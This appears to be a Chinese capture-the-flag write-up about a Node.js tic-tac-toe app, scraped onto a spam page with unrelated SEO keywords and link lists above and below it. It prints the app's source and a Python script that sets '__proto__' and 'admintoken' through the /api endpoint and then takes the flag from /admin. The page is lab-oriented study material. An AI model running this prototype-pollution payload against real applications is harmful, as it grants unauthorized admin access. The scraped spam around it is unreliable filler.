当前位置: 首页 > news >正文

网站方案案例怎么做网络营销案例分析题

网站方案案例怎么做,网络营销案例分析题,苏州无锡市住房和城乡建设局网站,建设网站经营范围目录 准备工作 解题 代码审计 Payload 准备工作 将这道题所需依赖模块都安装好后 运行一下,然后可以试着访问一下,报错是因为里面没内容而已,不影响,准备工作就做好了 解题 代码审计 const express require(express) var hbs require…

目录

准备工作

解题

代码审计

Payload


准备工作

        将这道题所需依赖模块都安装好后

         运行一下,然后可以试着访问一下,报错是因为里面没内容而已,不影响,准备工作就做好了

解题

代码审计

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}    
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})
关键代码   if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} 
可以看到flag就在这个if里面,想要进来就需要请求的query.querytoken等于md5编码后的user.admintoken
但是纵观全文,根本就没有admintoken这个值,所以就需要我们原型链污染一下

 解题关键就在这里,将请求体里面的row,col,data都是我们post传进去的可控的

Payload

 

import requests
import json
url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=c6393918b7bfdb774faa34d75e56c4cd"headers = {"Content-Type" : "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"oogalxy"}res1 = requests.post(url1,headers = headers,data = json.dumps(data1))
res2 = requests.get(url2)print(res2.text)
说明:/api和/admin进的地方不一样headers是为了能让服务器读懂json格式
把data转成json格式,要不然__proto__不是属性

 这个比之前那个简单一些,只是我想拿burpsuite复现遇到了点阻碍,回去研究一下

http://www.yayakq.cn/news/225912/

相关文章:

  • 如何做酒网站建立网站有什么作用
  • 建设部执业考试网站宁波企业seo外包
  • 智慧团建系统登录网站网站备案 内容
  • 宁波专业的网站建设南宁网站空间
  • 网站 伪静态怡清源在慧聪网网站建设情况
  • 厦门网站建设定制多少钱鞍山seo
  • 小视频做网站怎么赚钱衡水公司做网站
  • 网站淘宝客 难做wordpress中文摘要
  • 一种子网站做的很好的视频广告做音乐网站曲库在哪找
  • 网站开发要先买服务器吗mc建筑网站
  • 苏州和城乡建设局网站wordpress图片分组
  • 公司网页制作哪家好上海专业seo公司
  • 求个网站你知道的常德百姓网
  • 网站开发用什么开发工具好呢办公空间设计定位
  • 手机网站 建设wordpress移动端
  • 沈阳网站建设培训烟台做网站系统
  • 深圳网站建设黄浦网络 技术差艺术品网站开发
  • 宁波海曙网站开发公司旅游网站策划营销
  • 网站vip怎么做营销的方法和技巧
  • 制作网站哪家强手机网站注意哪些问题
  • 各类专业网站建设宠物网站建设需求分析
  • 德州网站建设推广价格农产品网络营销方式
  • 个人网站代做网络规划设计师需要的基础
  • 网站在工信部备案宿州网站建设电话
  • 沙井网站开发wordpress cpu 100%
  • 替别人做网站管理员中铁建设中南分公司
  • 买个域名就可以建立网站吗微信开发者平台怎么注销
  • 游戏网站排行网络营销的8个基本职能
  • 深圳高端网站定制公c2c网站代表和网址
  • 山东企业网站备案做微信公众平台的网站吗